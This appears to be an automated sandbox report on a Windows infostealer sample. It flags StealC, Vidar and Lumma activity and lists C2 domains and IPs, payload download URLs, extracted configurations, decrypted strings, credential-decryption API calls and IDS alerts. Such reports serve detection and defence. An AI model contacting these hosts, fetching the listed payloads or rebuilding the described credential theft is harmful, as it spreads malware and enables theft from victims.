Source: grassemenwji.shop	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/c4754d4f680ead72.phpt.bundle.js	Avira URL Cloud: Label: malware
Source: https://basedsymsotp.shop/api	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/freebl3.dll	Avira URL Cloud: Label: malware
Source: http://46.8.231.109	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/mozglue.dll	Avira URL Cloud: Label: malware
Source: http://147.45.44.104/prog/66e40b2e8a52e_lfsdj.exeXO	Avira URL Cloud: Label: malware
Source: https://tenntysjuxmz.shop/apiz	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/c4754d4f680ead72.phpry=----BAKEBAFIIECBGCAAAAFCefault-release	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/vcruntime140.dll8pV	Avira URL Cloud: Label: malware
Source: https://commisionipwn.shop/apiT	Avira URL Cloud: Label: malware
Source: https://stitchmiscpaew.shop/api	Avira URL Cloud: Label: malware
Source: http://147.45.44.104/prog/66e40b2e8a52e_lfsdj.exepN	Avira URL Cloud: Label: malware
Source: https://tenntysjuxmz.shop/apiI	Avira URL Cloud: Label: malware
Source: https://brasstech.in/shbwdh.exe	Avira URL Cloud: Label: malware
Source: https://stitchmiscpaew.shop/	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/freebl3.dllfN	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/nss3.dll	Avira URL Cloud: Label: malware

Found malware configuration

Source: 0000000B.00000002.2850533577.0000000000EEA000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://46.8.231.109/c4754d4f680ead72.php"}
Source: 00000000.00000002.2131229108.0000000003C75000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199768374681", "https://t.me/edm0d"], "Botnet": "4b4d1b9e209e656d32d6b94f658903b1"}
Source: 20.2.RegAsm.exe.400000.0.raw.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["preachstrwnwjw.shop", "commisionipwn.shop", "complainnykso.shop", "charistmatwio.shop", "grassemenwji.shop", "stitchmiscpaew.shop", "ignoracndwko.shop", "basedsymsotp.shop"], "Build id": "H8NgCl--"}

Multi AV Scanner detection for domain / URL

Source: charistmatwio.shop	Virustotal: Detection: 17%	Perma Link
Source: grassemenwji.shop	Virustotal: Detection: 17%	Perma Link
Source: brasstech.in	Virustotal: Detection: 6%	Perma Link
Source: preachstrwnwjw.shop	Virustotal: Detection: 18%	Perma Link
Source: complainnykso.shop	Virustotal: Detection: 17%	Perma Link
Source: basedsymsotp.shop	Virustotal: Detection: 17%	Perma Link
Source: commisionipwn.shop	Virustotal: Detection: 17%	Perma Link
Source: tenntysjuxmz.shop	Virustotal: Detection: 26%	Perma Link
Source: stitchmiscpaew.shop	Virustotal: Detection: 17%	Perma Link
Source: ignoracndwko.shop	Virustotal: Detection: 18%	Perma Link
Source: http://46.8.231.109/c4754d4f680ead72.php	Virustotal: Detection: 16%	Perma Link
Source: http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dll	Virustotal: Detection: 19%	Perma Link
Source: preachstrwnwjw.shop	Virustotal: Detection: 18%	Perma Link
Source: http://46.8.231.109/c4754d4f680ead72.phpY	Virustotal: Detection: 15%	Perma Link
Source: https://charistmatwio.shop/api	Virustotal: Detection: 19%	Perma Link
Source: stitchmiscpaew.shop	Virustotal: Detection: 17%	Perma Link
Source: https://grassemenwji.shop/api	Virustotal: Detection: 19%	Perma Link
Source: http://147.45.44.104/prog/66e40b2e8a52e_lfsdj.exe	Virustotal: Detection: 19%	Perma Link
Source: http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll	Virustotal: Detection: 20%	Perma Link
Source: https://brasstech.in/	Virustotal: Detection: 6%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\DGHIDAFCGI.exe	ReversingLabs: Detection: 34%
Source: C:\Users\userAAAAKJKJEB.exe	ReversingLabs: Detection: 44%
Source: C:\Users\userCGCFCBAKKF.exe	ReversingLabs: Detection: 63%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\66e40b2e8a52e_lfsdj[1].exe	ReversingLabs: Detection: 63%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\shbwdh[1].exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vnfdamfs[1].exe	ReversingLabs: Detection: 44%

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe	Virustotal: Detection: 34%			Perma Link
Source: SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe	ReversingLabs: Detection: 36%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\ProgramData\KECGHIJDGC.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 20.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: commisionipwn.shop
Source: 20.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: stitchmiscpaew.shop
Source: 20.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: ignoracndwko.shop
Source: 20.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: grassemenwji.shop
Source: 20.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: charistmatwio.shop
Source: 20.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: basedsymsotp.shop
Source: 20.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: complainnykso.shop
Source: 20.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: preachstrwnwjw.shop
Source: 20.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: preachstrwnwjw.shop
Source: 20.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: lid=%s&j=%s&ver=4.0
Source: 20.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: TeslaBrowser/5.5
Source: 20.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: - Screen Resoluton:
Source: 20.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: - Physical Installed Memory:
Source: 20.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: Workgroup: -
Source: 20.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: H8NgCl--

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00408093 CryptUnprotectData,LocalAlloc,LocalFree,	4_2_00408093
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0040803A CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	4_2_0040803A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00411D15 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	4_2_00411D15
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0040A690 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,	4_2_0040A690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_00409BB0 CryptUnprotectData,LocalAlloc,memcpy,LocalFree,	11_2_00409BB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_00418940 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	11_2_00418940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0040C660 memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	11_2_0040C660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_00407280 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree,	11_2_00407280
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_00409B10 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	11_2_00409B10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C546C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	11_2_6C546C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C69A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	11_2_6C69A9A0

Source: SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.6:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 159.69.100.83:443 -> 192.168.2.6:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.185.139.21:443 -> 192.168.2.6:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.185.139.21:443 -> 192.168.2.6:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.221.198:443 -> 192.168.2.6:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.26.150:443 -> 192.168.2.6:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.50.98.133:443 -> 192.168.2.6:49766 version: TLS 1.2

Source: SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: freebl3.pdb source: RegAsm.exe, 00000004.00000002.4605842828.000000002062D000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.4.dr
Source:	Binary string: mozglue.pdbP source: RegAsm.exe, 00000004.00000002.4609577368.0000000026594000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2881081454.000000006C5AD000.00000002.00000001.01000000.00000009.sdmp, mozglue.dll.4.dr
Source:	Binary string: freebl3.pdbp source: RegAsm.exe, 00000004.00000002.4605842828.000000002062D000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.4.dr
Source:	Binary string: nss3.pdb@ source: RegAsm.exe, 00000004.00000002.4621228155.000000003E355000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2883390565.000000006C76F000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: softokn3.pdb@ source: RegAsm.exe, 00000004.00000002.4615748251.0000000032472000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.4.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: RegAsm.exe, 00000004.00000002.4618809928.00000000383EE000.00000004.00000020.00020000.00000000.sdmp, vcruntime140.dll.4.dr, vcruntime140[1].dll.11.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: RegAsm.exe, 00000004.00000002.4612781368.000000002C50D000.00000004.00000020.00020000.00000000.sdmp, msvcp140[1].dll.11.dr
Source:	Binary string: nss3.pdb source: RegAsm.exe, 00000004.00000002.4621228155.000000003E355000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2883390565.000000006C76F000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: RegAsm.exe, 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4598383557.000000001A15A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdb source: RegAsm.exe, 00000004.00000002.4609577368.0000000026594000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2881081454.000000006C5AD000.00000002.00000001.01000000.00000009.sdmp, mozglue.dll.4.dr
Source:	Binary string: softokn3.pdb source: RegAsm.exe, 00000004.00000002.4615748251.0000000032472000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.4.dr

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0040D47E FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	4_2_0040D47E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0041482C wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,lstrcat,strtok_s,strtok_s,lstrcat,strtok_s,PathMatchSpecA,strtok_s,strtok_s,FindNextFileA,FindClose,	4_2_0041482C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0040B497 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	4_2_0040B497
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00401D70 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,FindNextFileA,FindClose,FindNextFileA,FindClose,	4_2_00401D70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0040BE05 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	4_2_0040BE05
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00415B0D wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	4_2_00415B0D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00409BD4 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	4_2_00409BD4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00414FA1 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	4_2_00414FA1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00415647 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	4_2_00415647
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0040CBEF wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,FindNextFileA,FindClose,	4_2_0040CBEF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0040B7F7 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	4_2_0040B7F7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0040D8C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	11_2_0040D8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0040F4F0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	11_2_0040F4F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0040BCB0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	11_2_0040BCB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_004139B0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	11_2_004139B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0040E270 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	11_2_0040E270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_00401710 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	11_2_00401710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_004143F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	11_2_004143F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0040DC50 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	11_2_0040DC50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_00414050 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlenA,lstrlenA,	11_2_00414050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0040EB60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,FindNextFileA,FindClose,	11_2_0040EB60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_004133C0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,FindNextFileA,FindClose,	11_2_004133C0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_00414CA6 GetLogicalDriveStringsA,GetDriveTypeA,lstrcpy,lstrcpy,lstrcpy,lstrlen,

4_2_00414CA6

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr fs:[00000030h]		4_2_0040149D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov dword ptr [ebp-04h], eax		4_2_0040149D

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49748 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49748 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 46.8.231.109:80 -> 192.168.2.6:49748
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49748 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 46.8.231.109:80 -> 192.168.2.6:49748
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49748 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2055787 - Severity 1 - ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (complainnykso .shop) : 192.168.2.6:55371 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055783 - Severity 1 - ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (charistmatwio .shop) : 192.168.2.6:64985 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055786 - Severity 1 - ET MALWARE Observed Lumma Stealer Related Domain (basedsymsotp .shop in TLS SNI) : 192.168.2.6:49761 -> 172.67.221.198:443
Source: Network traffic	Suricata IDS: 2055779 - Severity 1 - ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (grassemenwji .shop) : 192.168.2.6:51352 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055789 - Severity 1 - ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (preachstrwnwjw .shop) : 192.168.2.6:57008 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055788 - Severity 1 - ET MALWARE Observed Lumma Stealer Related Domain (complainnykso .shop in TLS SNI) : 192.168.2.6:49760 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2055781 - Severity 1 - ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (stitchmiscpaew .shop) : 192.168.2.6:64875 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055785 - Severity 1 - ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (basedsymsotp .shop) : 192.168.2.6:64217 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055782 - Severity 1 - ET MALWARE Observed Lumma Stealer Related Domain (stitchmiscpaew .shop in TLS SNI) : 192.168.2.6:49764 -> 104.21.26.150:443
Source: Network traffic	Suricata IDS: 2055777 - Severity 1 - ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (ignoracndwko .shop) : 192.168.2.6:64018 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055784 - Severity 1 - ET MALWARE Observed Lumma Stealer Related Domain (charistmatwio .shop in TLS SNI) : 192.168.2.6:49762 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2055780 - Severity 1 - ET MALWARE Observed Lumma Stealer Related Domain (grassemenwji .shop in TLS SNI) : 192.168.2.6:49763 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2055776 - Severity 1 - ET MALWARE Observed Lumma Stealer Related Domain (commisionipwn .shop in TLS SNI) : 192.168.2.6:49765 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2857974 - Severity 1 - ETPRO MALWARE Observed DNS Query to Lumma Domain : 192.168.2.6:60911 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055775 - Severity 1 - ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (commisionipwn .shop) : 192.168.2.6:49687 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2049087 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST : 192.168.2.6:49726 -> 159.69.100.83:443
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 159.69.100.83:443 -> 192.168.2.6:49726
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 159.69.100.83:443 -> 192.168.2.6:49725
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49763 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49761 -> 172.67.221.198:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49763 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49761 -> 172.67.221.198:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49764 -> 104.21.26.150:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49764 -> 104.21.26.150:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49765 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49765 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49762 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49762 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49760 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49760 -> 188.114.97.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://46.8.231.109/c4754d4f680ead72.php
Source: Malware configuration extractor	URLs: preachstrwnwjw.shop
Source: Malware configuration extractor	URLs: commisionipwn.shop
Source: Malware configuration extractor	URLs: complainnykso.shop
Source: Malware configuration extractor	URLs: charistmatwio.shop
Source: Malware configuration extractor	URLs: grassemenwji.shop
Source: Malware configuration extractor	URLs: stitchmiscpaew.shop
Source: Malware configuration extractor	URLs: ignoracndwko.shop
Source: Malware configuration extractor	URLs: basedsymsotp.shop
Source: Malware configuration extractor	URLs: https://steamcommunity.com/profiles/76561199768374681
Source: Malware configuration extractor	URLs: https://t.me/edm0d

